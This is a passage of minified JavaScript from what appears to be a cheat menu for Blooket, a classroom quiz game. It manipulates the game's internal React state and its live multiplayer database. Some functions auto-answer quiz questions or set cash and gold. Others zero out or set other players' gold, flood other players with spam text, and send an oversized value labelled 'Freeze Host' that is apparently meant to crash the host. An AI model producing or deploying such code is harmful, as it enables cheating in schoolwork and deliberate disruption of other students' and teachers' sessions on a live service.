class: "\uD83E\uDD16",
rarity: "Epic",
cash: [5e4, 25e4, 21e5, 21e6, 17e7],
time: [4, 3, 3, 3, 2],
price: [5e6, 46e6, 5e8, 67e8]
}, {
name: "Mega Bot",
color: "#d71f27",
class: "\uD83E\uDD16",
rarity: "Legendary",
cash: [8e4, 43e4, 42e5, 62e6, 1e9],
time: [5, 5, 3, 3, 3],
price: [7e6, 12e7, 19e8, 35e9]
}].find(function({
name: e
}) {
return e.toLowerCase() == this
}, prompt("Enter blook name:").toLowerCase());
o ? (t.state.blooks.length >= 10 && alert("Choose a blook to replace"), t.chooseBlook(o)) : alert("That is not a valid blook!")
}
}, {
name: "Free Upgrades",
description: "Sets upgrade prices to 0 for all current blooks",
run: function() {
Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState(e => ({
...e,
blooks: e.blooks.map(e => ({
...e,
price: [0, 0, 0, 0]
}))
}))
}
}, {
name: "Max Blooks",
description: "Maxes out all your blooks' levels",
run: function() {
Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.state.blooks.forEach(e => e.level = 4)
}
}, {
name: "Remove Glitches",
description: "Removes all enemy glitches",
run: function() {
var e = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
e.setState({
bits: 0,
ads: [],
hazards: [],
color: "",
lol: !1,
joke: !1,
slow: !1,
dance: !1,
glitch: "",
glitcherName: "",
glitcherBlook: ""
}), clearTimeout(e.adTimeout), clearInterval(e.hazardInterval), clearTimeout(e.nightTimeout), clearTimeout(e.glitchTimeout), clearTimeout(e.lolTimeout), clearTimeout(e.jokeTimeout), clearTimeout(e.slowTimeout), clearTimeout(e.danceTimeout), clearTimeout(e.nameTimeout)
}
}, {
name: "Send Glitch",
description: "Sends a glitch to everyone else playing",
run: function() {
var e = document.createElement("iframe"),
e = (document.body.append(e), window.alert = e.contentWindow.alert.bind(window), e.remove(), Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner).stateNode,
t = {
lb: "Lunch Break",
as: "Ad Spam",
e37: "Error 37",
nt: "Night Time",
lo: "#LOL",
j: "Jokester",
sm: "Slow Mo",
dp: "Dance Party",
v: "Vortex",
r: "Reverse",
f: "Flip",
m: "Micro"
},
o = Object.keys(t)[Math.floor(Math.random() * Object.keys(t).length)];
e.safe = !0, e.props.liveGameController.setVal({
path: `c/${e.props.client.name}/tat`,
val: o
}), alert(`Sent a ${t[o]} glitch`)
}
}, {
name: "Set All MegaBot",
description: "Sets all your blooks to maxed out Mega Bots",
run: function() {
Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
blooks: Array(10).fill({
name: "Mega Bot",
color: "#d71f27",
class: "\uD83E\uDD16",
rarity: "Legendary",
cash: [8e4, 43e4, 42e5, 62e6, 1e9],
time: [5, 5, 3, 3, 3],
price: [7e6, 12e7, 19e8, 35e9],
active: !1,
level: 4,
bonus: 5.5
})
})
}
}, {
name: "Set Cash",
description: "Sets amount of cash you have",
run: function() {
var e = document.createElement("iframe"),
e = (document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove(), Number(parseInt(prompt("How much cash would you like?"))));
Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
cash: e
})
}
}],
fishing: [{
name: "Frenzy",
description: "Sets everyone to frenzy mode",
run: function() {
var e = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
e.props.liveGameController.setVal({
path: "c/" + e.props.client.name,
val: {
b: e.props.client.blook,
w: e.state.weight,
f: "Frenzy",
s: !0
}
})
}
}, {
name: "Always Frenzy",
description: "Always sets everyone to frenzy mode",
type: "toggle",
enabled: false,
data: null,
run: function() {
if (this.enabled) {
this.enabled = false;
clearInterval(this.data);
this.data = null;
} else {
this.enabled = true;
this.data = setInterval(() => {
const cheat = (async () => {
let {
stateNode
} = Object.values((function react(r = document.querySelector("body>div")) {
return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div"))
})())[1].children[0]._owner;
stateNode.props.liveGameController.setVal({
path: `c/${stateNode.props.client.name}`,
val: {
b: stateNode.props.client.blook,
w: stateNode.state.weight,
f: "Frenzy",
s: true
}
});
});
cheat();
}, 50);
}
}
}, {
name: "Remove Distractions",
description: "Removes distractions",
type: "toggle",
enabled: !1,
data: null,
run: function() {
this.enabled ? (this.enabled = !1, clearInterval(this.data), this.data = null) : (this.enabled = !0, this.data = setInterval(() => {
Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
party: ""
})
}, 50))
}
}, {
name: "Send Distraction",
description: "Sends a distraction to everyone",
run: function() {
var e = document.createElement("iframe"),
e = (document.body.append(e), window.alert = e.contentWindow.alert.bind(window), e.remove(), Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner).stateNode,
t = ["Crab", "Jellyfish", "Frog", "Pufferfish", "Octopus", "Narwhal", "Megalodon", "Blobfish", "Baby Shark"][Math.floor(9 * Math.random())];
e.safe = !0, e.props.liveGameController.setVal({
path: "c/" + e.props.client.name,
val: {
b: e.props.client.blook,
w: e.state.weight,
f: t,
s: !0
}
}), alert(`Sent a ${t} distraction`)
}
}, {
name: "Set Lure",
description: "Sets fishing lure (range 1 - 5)",
run: function() {
var e = document.createElement("iframe");
document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove(), Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
lure: Math.max(Math.min(Number(parseInt(prompt("What would you like to set your lure to? (1 - 5)"))) - 1, 4), 0)
})
}
}, {
name: "Set Next Fish",
description: "Sets the next fish to catch",
run: function() {
var e = document.createElement("iframe");
function t() {
return Object.values(document.querySelector("#app > div > div"))[1].children[0]._owner
}
document.body.appendChild(e), window.prompt = e.contentWindow.prompt.bind(window), window.alert = e.contentWindow.alert.bind(window), e.remove();
var o = {
"Old Boot": {
rarity: "Trash",
minWeight: 1,
maxWeight: 10,
tiers: ["F", "D", "C"]
},
Waffle: {
rarity: "Trash",
minWeight: 1,
maxWeight: 10,
tiers: ["F", "D", "C"]
},
"Two of Spades": {
rarity: "Trash",
minWeight: 1,
maxWeight: 10,
tiers: ["F", "D", "C"]
},
Jellyfish: {
rarity: "Easy One",
minWeight: 10,
maxWeight: 25,
tiers: ["D", "C", "B"]
},
Clownfish: {
rarity: "Easy One",
minWeight: 20,
maxWeight: 45,
tiers: ["D", "C", "B"]
},
Goldfish: {
rarity: "Easy One",
minWeight: 30,
maxWeight: 65,
tiers: ["D", "C", "B"]
},
Frog: {
rarity: "Easy One",
minWeight: 50,
maxWeight: 100,
tiers: ["D", "C", "B"]
},
"Blizzard Clownfish": {
rarity: "Great Catch",
minWeight: 75,
maxWeight: 125,
tiers: ["D", "C", "B"]
},
Turtle: {
rarity: "Great Catch",
minWeight: 100,
maxWeight: 150,
tiers: ["D", "C", "B", "A"]
},
Cat: {
rarity: "Great Catch",
minWeight: 100,
maxWeight: 200,
tiers: ["D", "C", "B", "A"]
},
"Lovely Frog": {
rarity: "Great Catch",
minWeight: 150,
maxWeight: 350,
tiers: ["D", "C", "B", "A"]
},
"Lucky Frog": {
rarity: "Great Catch",
minWeight: 200,
maxWeight: 400,
tiers: ["D", "C", "B", "A"]
},
"Poison Dart Frog": {
rarity: "Great Catch",
minWeight: 250,
maxWeight: 750,
tiers: ["D", "C", "B", "A"]
},
Seal: {
rarity: "Rare Find",
minWeight: 500,
maxWeight: 1e3,
tiers: ["D", "C", "B", "A"]
},
Walrus: {
rarity: "Rare Find",
minWeight: 700,
maxWeight: 2200,
tiers: ["D", "C", "B", "A"]
},
Fairy: {
rarity: "Rare Find",
minWeight: 1500,
maxWeight: 2500,
tiers: ["D", "C", "B", "A"]
},
Crab: {
rarity: "Rare Find",
minWeight: 1e3,
maxWeight: 3e3,
tiers: ["D", "C", "B", "A"]
},
"Lemon Crab": {
rarity: "Rare Find",
minWeight: 2e3,
maxWeight: 5e3,
tiers: ["C", "B", "A"]
},
Pufferfish: {
rarity: "Rare Find",
minWeight: 2e3,
maxWeight: 4e3,
tiers: ["D", "C", "B", "A"]
},
Blobfish: {
rarity: "Rare Find",
minWeight: 3e3,
maxWeight: 5e3,
tiers: ["D", "C", "B", "A"]
},
"Rainbow Jellyfish": {
rarity: "Epic Grab",
minWeight: 7e3,
maxWeight: 1e4,
tiers: ["C", "B", "A"]
},
Octopus: {
rarity: "Epic Grab",
minWeight: 1e4,
maxWeight: 15e3,
tiers: ["C", "B", "A"]
},
"Pirate Pufferfish": {
rarity: "Epic Grab",
minWeight: 12e3,
maxWeight: 2e4,
tiers: ["C", "B", "A"]
},
"Donut Blobfish": {
rarity: "Epic Grab",
minWeight: 13e3,
maxWeight: 25e3,
tiers: ["C", "B", "A"]
},
"Crimson Octopus": {
rarity: "Epic Grab",
minWeight: 15e3,
maxWeight: 3e4,
tiers: ["B", "A"]
},
Narwhal: {
rarity: "Catch of the Day",
minWeight: 25e3,
maxWeight: 5e4,
tiers: ["B", "A", "S"]
},
"Baby Shark": {
rarity: "Catch of the Day",
minWeight: 5e4,
maxWeight: 1e5,
tiers: ["B", "A", "S"]
},
Megalodon: {
rarity: "Catch of the Day",
minWeight: 25e4,
maxWeight: 5e5,
tiers: ["B", "A", "S"]
},
Alien: {
rarity: "Angler's Legend",
minWeight: 5e5,
maxWeight: 7e5,
tiers: ["A", "S"]
},
"Rainbow Narwhal": {
rarity: "Angler's Legend",
minWeight: 75e4,
maxWeight: 1e6,
tiers: ["A", "S", "S+"]
},
UFO: {
rarity: "Angler's Legend",
minWeight: 1e6,
maxWeight: 2e6,
tiers: ["A", "S", "S+"]
},
"Santa Claus": {
rarity: "Angler's Legend",
minWeight: 1e6,
maxWeight: 2e6,
tiers: ["A", "S", "S+"]
},
"Swamp Monster": {
rarity: "Angler's Legend",
minWeight: 1e6,
maxWeight: 2e6,
tiers: ["A", "S", "S+"]
},
"Red Astronaut": {
rarity: "Angler's Legend",
minWeight: 1e6,
maxWeight: 2e6,
tiers: ["A", "S", "S+"]
},
"Spooky Pumpkin": {
rarity: "Angler's Legend",
minWeight: 1e6,
maxWeight: 2e6,
tiers: ["A", "S", "S+"]
},
Dragon: {
rarity: "Angler's Legend",
minWeight: 1e6,
maxWeight: 2e6,
tiers: ["A", "S", "S+"]
},
"Tim the Alien": {
rarity: "Angler's Legend",
minWeight: 15e5,
maxWeight: 25e5,
tiers: ["A", "S", "S+"]
}
},
a = ["Crab", "Jellyfish", "Frog", "Pufferfish", "Octopus", "Narwhal", "Megalodon", "Blobfish", "Baby Shark"];
if (!window.functionSet) {
var r = t().stateNode.answerNext;
t().stateNode.answerNext = function() {
if (t().stateNode.state.hackFish) {
var e, n, i;
t().stateNode.setState({
stage: "caught",
isCast: !1,
fish: {
name: e = t().stateNode.state.hackFish,
rarity: o[e].rarity,
weight: (n = o[e].minWeight, Math.floor(Math.random() * ((i = o[e].maxWeight) - n) + n)),
tier: o[e].tiers[Math.floor(Math.random() * o[e].tiers.length)],
isSpecial: a.includes(e) && 8 > Math.floor(100 * Math.random())
},
claimReady: !1
}), setTimeout(function() {
t().stateNode.setState({
claimReady: !0
})
}, 1600), t().stateNode.state.hackFish = null
} else r.apply(this, arguments)
}
}
window.functionSet = !0,
function e(a) {
if (Object.keys(o).includes(a)) t().stateNode.state.hackFish = a;
else {
alert("That fish does not exist!");
return
}
}(prompt("What fish would you like to catch next (case sensitive)?"))
}
}, {
name: "Set Weight",
description: "Sets weight",
run: function() {
var e = document.createElement("iframe"),
e = (document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove(), Number(parseInt(prompt("How much weight would you like?")))),
t = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
t.setState({
weight: e,
weight2: e
}), t.props.liveGameController.setVal({
path: "c/" + t.props.client.name,
val: {
b: t.props.client.blook,
w: e,
f: ["Crab", "Jellyfish", "Frog", "Pufferfish", "Octopus", "Narwhal", "Megalodon", "Blobfish", "Baby Shark"][Math.floor(9 * Math.random())]
}
})
}
}],
flappy: [{
name: "Toggle Ghost",
description: "Lets you go through the pipes",
type: "toggle",
enabled: false,
run: function() {
this.enabled = !this.enabled;
for (const body of Object.values(document.querySelector("#phaser-bouncy"))[0].return.updateQueue.lastEffect.deps[0].current.config.sceneConfig.physics.world.bodies.entries) {
if (!body.gameObject.frame.texture.key.startsWith("blook")) continue;
body.checkCollision.none = this.enabled;
body.gameObject.setAlpha(this.enabled ? 0.5 : 1);
break;
};
}
}, {
name: "Set Score",
description: "Sets flappy blook score",
run: function() {
Object.values(document.querySelector("#phaser-bouncy"))[0].return.updateQueue.lastEffect.deps[1](parseInt(prompt("What do you want to set your score to?")) || 0);
}
}],
gold: [{
name: "Always Triple",
description: "Always get triple gold",
type: "toggle",
enabled: !1,
data: null,
run: function() {
let e = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
e._choosePrize ||= e.choosePrize, this.enabled ? (this.enabled = !1, clearInterval(this.data), this.data = null, e.choosePrize = e._choosePrize || e.choosePrize) : (this.enabled = !0, this.data = setInterval(() => {
e.choosePrize = function(t) {
e.state.choices[t] = {
type: "multiply",
val: 3,
text: "Triple Gold!",
blook: "Unicorn"
}, e._choosePrize(t)
}
}, 50))
}
}, {
name: "Auto Choose",
description: "Automatically picks the option that would give you the most gold",
type: "toggle",
enabled: false,
data: null,
run: function() {
if (this.enabled) {
this.enabled = false;
clearInterval(this.data);
this.data = null;
} else {
this.enabled = true;
this.data = setInterval(() => {
let {
stateNode
} = Object.values((function react(r = document.querySelector("body>div")) {
return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div"))
})())[1].children[0]._owner;
if (stateNode.state.stage == "prize") {
stateNode.props.liveGameController.getDatabaseVal("c", (players) => {
if (players == null) return;
players = Object.entries(players);
let most = 0,
max = 0,
index = -1;
for (let i = 0; i < players.length; i++) {
if (players[i][0] != stateNode.props.client.name && players[i][1] > most) {
most = players[i][1];
}
}
for (let i = 0; i < stateNode.state.choices.length; i++) {
const choice = stateNode.state.choices[i];
let value = stateNode.state.gold;
if (choice.type == "gold") {
value = stateNode.state.gold + (choice.val || 0);
} else if (choice.type == "multiply" || choice.type == "divide") {
value = Math.round(stateNode.state.gold * choice.val) || stateNode.state.gold;
} else if (choice.type == "swap") {
value = most || stateNode.state.gold;
} else if (choice.type == "take") {
value = stateNode.state.gold + (most * choice.val || 0);
}
if ((value || 0) <= max) continue;
max = value;
index = i + 1;
}
document.querySelector("div[class*='choice" + index + "']")?.click();
});
}
}, 50);
}
}
}, {
name: "Chest ESP",
description: "Shows what each chest will give you",
type: "toggle",
enabled: false,
data: null,
run: function() {
if (this.enabled) {
this.enabled = false;
clearInterval(this.data);
this.data = null;
} else {
this.enabled = true;
this.data = setInterval(() => {
const cheat = (async () => {
Object.values((function react(r = document.querySelector("body>div")) {
return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div"))
})())[1].children[0]._owner.stateNode.state.choices.forEach(({
text
}, index) => {
let chest = document.querySelector(`div[class*='choice${index + 1}']`);
if (!chest || chest.querySelector('div')) return;
let choice = document.createElement('div')
choice.style.color = "white";
choice.style.fontFamily = "Eczar";
choice.style.fontSize = "2em";
choice.style.display = "flex";
choice.style.justifyContent = "center";
choice.style.transform = "translateY(200px)";
choice.innerText = text;
chest.append(choice)
});
});
cheat();
}, 50);
}
}
}, {
name: "Remove Lose 25%-50%",
description: "Blocks buttons with text 'Lose 25%' and 'Lose 50%'",
type: "toggle",
enabled: !1,
data: null,
run: function() {
let e = this,
t = this;
function o() {
return Object.values(document.querySelector("#app > div > div"))[1].children[1]._owner
}
e.enabled || t.enabled ? (clearInterval(e.data), clearInterval(t.data), e.data = null, t.data = null, e.enabled = !1, t.enabled = !1) : (e.enabled = !0, t.enabled = !0, e.data = setInterval(() => {
document.querySelectorAll('div[role="button"]').forEach(e => {
("Lose 25%" === e.innerText || "Lose 50%" === e.innerText) && (e.style.display = "none")
})
}, 50), t.data = setInterval(() => {
var e;
if ("gold" === ("gold" === window.location.pathname.split("/")[2] && "gold") && t.enabled) try {
if ("prize" === o().stateNode.state.stage) {
let {
choices: a
} = o().stateNode.state, r = document.querySelector("div[class*='regularBody']").children[1];
r && (document.querySelectorAll(".chest-esp").length ? a.forEach((e, t) => {
3 == r.children.length && r.children[t].children[1].innerText != e.text && (r.children[t].children[1].innerText = e.text)
}) : a.forEach((e, t) => {
(textElement = document.createElement("p")).className = "chest-esp", textElement.innerText = e.text, textElement.style = "text-align: center; font-size: 30px; color: white; font-family:Titan One, sans-serif; border-color: black; margin-top: 200px; opacity: 0;";
try {
r.children[t].appendChild(textElement)
} catch (o) {
console.log(o)
}
}))
}
} catch (n) {
console.log(n)
}
}, 50))
}
}, {
name: "Reset Players Gold",
description: "Sets a player's gold to 0",
run: function() {
let e = document.createElement("iframe");
document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove();
let t = prompt("Who's gold would you like to reset?"),
{
stateNode: {
props: o,
state: a
}
} = Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}())[1].children[0]._owner;
stateNode.props.liveGameController.getDatabaseVal("c", e => {
e && Object.keys(e).map(e => e.toLowerCase()).includes(t.toLowerCase()) && o.liveGameController.setVal({
path: "c/".concat(o.client.name),
val: {
b: o.client.blook,
g: a.gold,
tat: `${t}:swap:0`
}
})
})
}
}, {
name: "Set Gold",
description: "Sets amount of gold",
run: function() {
var e = document.createElement("iframe"),
e = (document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove(), Number(parseInt(prompt("How much gold would you like?")))),
t = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
t.setState({
gold: e,
gold2: e
}), t.props.liveGameController.setVal({
path: "c/".concat(t.props.client.name),
val: {
b: t.props.client.blook,
g: e
}
})
}
}, {
name: "Swap Gold",
description: "Swaps gold with someone",
run: function() {
(() => {
const cheat = (async () => {
let {
stateNode
} = Object.values((function react(r = document.querySelector("body>div")) {
return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div"))
})())[1].children[0]._owner;
const player = prompt("Who's gold would you like to swap with? (Case sensitive)");
stateNode.props.liveGameController.getDatabaseVal("c", (players) => {
if (!players || players[player] == null) return;
const gold = players[player].g || 0;
stateNode.props.liveGameController.setVal({
path: "c/" + stateNode.props.client.name,
val: {
b: stateNode.props.client.blook,
tat: player + ":swap:" + (stateNode.state.gold || 0),
g: gold
}
});
stateNode.setState({
gold,
gold2: gold
});
});
});
cheat();
})();
}
}, {
name: "Set Player's Gold",
description: "Sets a player's gold to any amount.",
run: function() {
(async () => {
const stateNode = Object.values(document.querySelector('#app>div>div'))[1].children[0]._owner.stateNode;
let i = document.createElement('iframe');
document.body.append(i);
const alert = i.contentWindow.alert.bind(window);
const prompt = i.contentWindow.prompt.bind(window);
i.remove();
const db = await stateNode.props.liveGameController.getDatabaseVal("c");
const players = Object.keys(db);
function search(q) {
const res = players.filter(e => e?.toLowerCase()?.includes(q.toLowerCase()));
if (res.length > 1) {
alert(`${res.length} players were found!`);
return;
}
if (res.length < 1) {
alert("No players were found!");
return;
}
return res[0];
}
const result = search(prompt("Enter player name or part of it here (not case sensitive):"));
if (!result) {
return;
}
const amount = prompt(`Enter the amount you would like to set the player to:`);
if (!amount || amount.length < 1) {
alert("You must enter an amount.");
return;
}
stateNode.props.liveGameController.setVal({
path: `c/${stateNode.props.client.name}/tat`,
val: `${result}:swap:${amount}`
});
alert(`Set ${result}'s gold to ${amount}!`);
})();
}
}, {
name: "Reset All Players' Gold",
description: "Set's everyone else's gold to 0",
run: function() {
var e = document.createElement("iframe");
document.body.append(e), window.alert = e.contentWindow.alert.bind(window), e.remove();
let {
props: t,
state: o
} = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode, a = 0;
t.liveGameController.getDatabaseVal("c", async e => {
if (e)
for (let r of Object.keys(e)) t.liveGameController.setVal({
path: "c/".concat(t.client.name),
val: {
b: t.client.blook,
g: o.gold,
tat: r + ":swap:0"
}
}), a++, await new Promise(e => setTimeout(e, 4e3));
alert(`Reset ${a} players' gold!`)
})
}
}, {
name: "Send Ad Text",
description: "Sends a load of text to another player (This will override your blook!)",
run: function() {
var player = window.prompt("Enter the player's name:");
var text = window.prompt("Enter the text to send:");
var {
props: t2,
state: a
} = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
t2.liveGameController.setVal({
path: "c/".concat(t2.client.name),
val: {
b: t2.client.blook,
g: a.gold,
tat: player + ":swap:0"
}
});
let {
props: t
} = Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"));
}())[1].children[0]._owner.stateNode;
let repeatedText = `Dog:${Array(500).fill(text).join(' ')}`;
t.client.blook = repeatedText;
t.liveGameController.setVal({
path: `c/${t.client.name}/b`,
val: repeatedText
});
}
}],
kingdom: [{
name: "Choice ESP",
description: "Shows you what will happen if you say Yes or No",
type: "toggle",
enabled: false,
data: null,
run: function() {
if (this.enabled) {
this.enabled = false;
clearInterval(this.data);
this.data = null;
} else {
this.enabled = true;
this.data = setInterval((stats => {
let {
stateNode
} = Object.values((function react(r = document.querySelector("body>div")) {
return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div"))
})())[1].children[0]._owner;
let elements = Array.prototype.reduce.call(
document.querySelectorAll('[class*=statContainer]'),
(obj, container, i) => (obj[stats[i]] = container, obj), {}
);
if (stateNode.state.phase == "choice") {
Array.prototype.forEach.call(document.querySelectorAll('.choiceESP'), x => x.remove());
Object.keys(stateNode.state.guest.yes || {}).forEach(x => {
if (elements[x] == null) return;
let element = document.createElement('div');
element.className = 'choiceESP';
element.style = 'font-size: 24px; color: rgb(75, 194, 46); font-weight: bolder;';
element.innerText = String(stateNode.state.guest.yes[x]);
elements[x].appendChild(element);
});
Object.keys(stateNode.state.guest.no || {}).forEach(x => {
if (elements[x] == null) return;
let element = document.createElement('div');
element.className = 'choiceESP';
element.style = 'font-size: 24px; color: darkred; font-weight: bolder;';
element.innerText = String(stateNode.state.guest.no[x]);
elements[x].appendChild(element);
});
Array.prototype.forEach.call(
document.querySelectorAll("[class*=guestButton][role=button]"),
x => (x.onclick = () => Array.prototype.forEach.call(document.querySelectorAll(".choiceESP"), x => x.remove()))
);
}
}), 50, ['materials', 'people', 'happiness', 'gold']);
}
}
}, {
name: "Disable Tax Toucan",
description: "Tax evasion",
run: function() {
Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.taxCounter = Number.MAX_VALUE
}
}, {
name: "Max Stats",
description: "Sets all resources to the max",
run: function() {
Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
materials: 100,
people: 100,
happiness: 100,
gold: 100
})
}
}, {
name: "Set Guests",
description: "Sets the amount of guests you've seen",
run: function() {
var e = document.createElement("iframe"),
e = (document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove(), Number(parseInt(prompt("How many guests do you want?"))));
Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
guestScore: e
})
}
}, {
name: "Skip Guest",
description: "Skips the current guest",
run: function() {
Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.nextGuest()
}
}],
racing: [{
name: "Instant Win",
description: "Instantly Wins the race",
run: function() {
let e = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
e.setState({
progress: e.state.goalAmount
}, () => {
let {
question: t
} = e.state;
try {
[...document.querySelectorAll('[class*="answerContainer"]')][t.answers.map((e, o) => t.correctAnswers.includes(e) ? o : null).filter(e => null != e)[0]]?.click?.()
} catch {}
})
}
}, {
name: "Set Questions",
description: "Sets the number of questions left",
run: function() {
let i = document.createElement('iframe');
document.body.append(i);
window.prompt = i.contentWindow.prompt.bind(window);
i.remove();
let {
stateNode
} = Object.values((function react(r = document.querySelector("body>div")) {
return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div"))
})())[1].children[0]._owner;
let progress = stateNode.props.client.amount - parseInt(prompt("How many questions left do you want?"));
if (!isNaN(progress)) {
stateNode.setState({
progress
});
stateNode.props.liveGameController.setVal({
path: "c/".concat(stateNode.props.client.name),
val: {
b: stateNode.props.client.blook,
pr: progress
}
});
}
}
}],
royale: [{
name: "Auto Answer (Toggle)",
description: "Toggles auto answer on",
type: "toggle",
enabled: !1,
data: null,
run: function() {
this.enabled ? (this.enabled = !1, clearInterval(this.data), this.data = null) : (this.enabled = !0, this.data = setInterval(() => {
var e = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
e?.onAnswer?.(!0, e.props.client.question.correctAnswers[0])
}, 50))
}
}, {
name: "Auto Answer",
description: "Chooses the correct answer for you",
run: function() {
var e = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
e?.onAnswer?.(!0, e.props.client.question.correctAnswers[0])
}
}],
rush: [{
name: "Set Blooks",
description: "Sets amount of blooks you or your team has",
run: function() {
var e = document.createElement("iframe"),
e = (document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove(), Number(parseInt(prompt("How many blooks do you want?")))),
t = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
t.setState({
numBlooks: e
}), t.isTeam ? t.props.liveGameController.setVal({
path: `a/${t.props.client.name}/bs`,
val: e
}) : t.props.liveGameController.setVal({
path: `c/${t.props.client.name}/bs`,
val: numDefense
})
}
}, {
name: "Set Defense",
description: "Sets amount of defense you or your team has (Max 4)",
run: function() {
var e = document.createElement("iframe"),
e = (document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove(), Math.min(Number(parseInt(prompt("How much defense do you want? (Max 4)"))), 4)),
t = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
t.setState({
numDefense: e
}), t.isTeam ? t.props.liveGameController.setVal({
path: `a/${t.props.client.name}/d`,
val: e
}) : t.props.liveGameController.setVal({
path: `c/${t.props.client.name}/d`,
val: e
})
}
}, {
name: "Freeze Host :)",
description: "They aint coming back with this one",
run: function() {
var largeNumber = "99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999";
var t = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
t.setState({
numBlooks: largeNumber
});
if (t.isTeam) {
t.props.liveGameController.setVal({
path: `a/${t.props.client.name}/bs`,
val: largeNumber
});
} else {
t.props.liveGameController.setVal({
path: `c/${t.props.client.name}/bs`,
val: largeNumber
});
}
}
}],
workshop: [{
name: "Remove Distractions",
description: "Removes all enemy distractions",
run: function() {
Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
fog: !1,
dusk: !1,
wind: !1,
plow: !1,
blizzard: !1,
force: !1,
canada: !1,
trees: [!1, !1, !1, !1, !1, !1, !1, !1, !1, !1]
})
}
}, {
name: "Send Distraction",
description: "Sends a distraction to everyone else playing",
run: function() {
var e = document.createElement("iframe"),
e = (document.body.append(e), window.alert = e.contentWindow.alert.bind(window), e.remove(), Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner).stateNode,
t = {
c: "Oh Canada",
b: "Blizzard",
f: "Fog Spell",
d: "Dark & Dusk",
w: "Howling Wind",
g: "Gift Time!",
t: "TREES",
s: "Snow Plow",
fr: "Use The Force"
},
o = Object.keys(t)[Math.floor(Math.random() * Object.keys(t).length)];
e.safe = !0, e.props.liveGameController.setVal({
path: `c/${e.props.client.name}/tat`,
val: o
}), alert(`Sent a ${t[o]} distraction`)
}
}, {
name: "Set Toys",
description: "Sets amount of toys",
run: function() {
var e = document.createElement("iframe"),
e = (document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove(), parseInt(prompt("How many toys would you like?"))),
t = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
t.setState({
toys: e
}), t.props.liveGameController.setVal({
path: "c/".concat(t.props.client.name),
val: {
b: t.props.client.blook,
t: e
}
})
}
}, {
name: "Set Toys Per Question",
description: "Sets amount of toys per question",
run: function() {
var e = document.createElement("iframe");
document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove(), Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
toysPerQ: parseInt(prompt("How many toys per question would you like?"))
})
}
}, {
name: "Swap Toys",
description: "Swaps toys with someone",
run: function() {
let e = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
e.props.liveGameController.getDatabaseVal("c", t => {
e.setState({
choosingPlayer: !1,
players: t ? Object.entries(t).map(([e, {
b: t,
t: o
}]) => ({
name: e,
blook: t,
toys: o || 0
})).filter(t => t.name != e.props.client.name).sort(({
toys: e
}, {
toys: t
}) => t - e) : [],
phaseTwo: !0,
stage: "prize",
choiceObj: {
type: "swap"
}
}, () => setTimeout(() => e.setState({
choosingPlayer: !0
}), 300))
})
}
}]
});
var u = document.createElement("details");
for (let p of (u.innerHTML = '<summary style="padding: 10px; font-size: 1.5em; font-weight: bolder">Global</summary>', d.global)) {
let m = v(p.name);
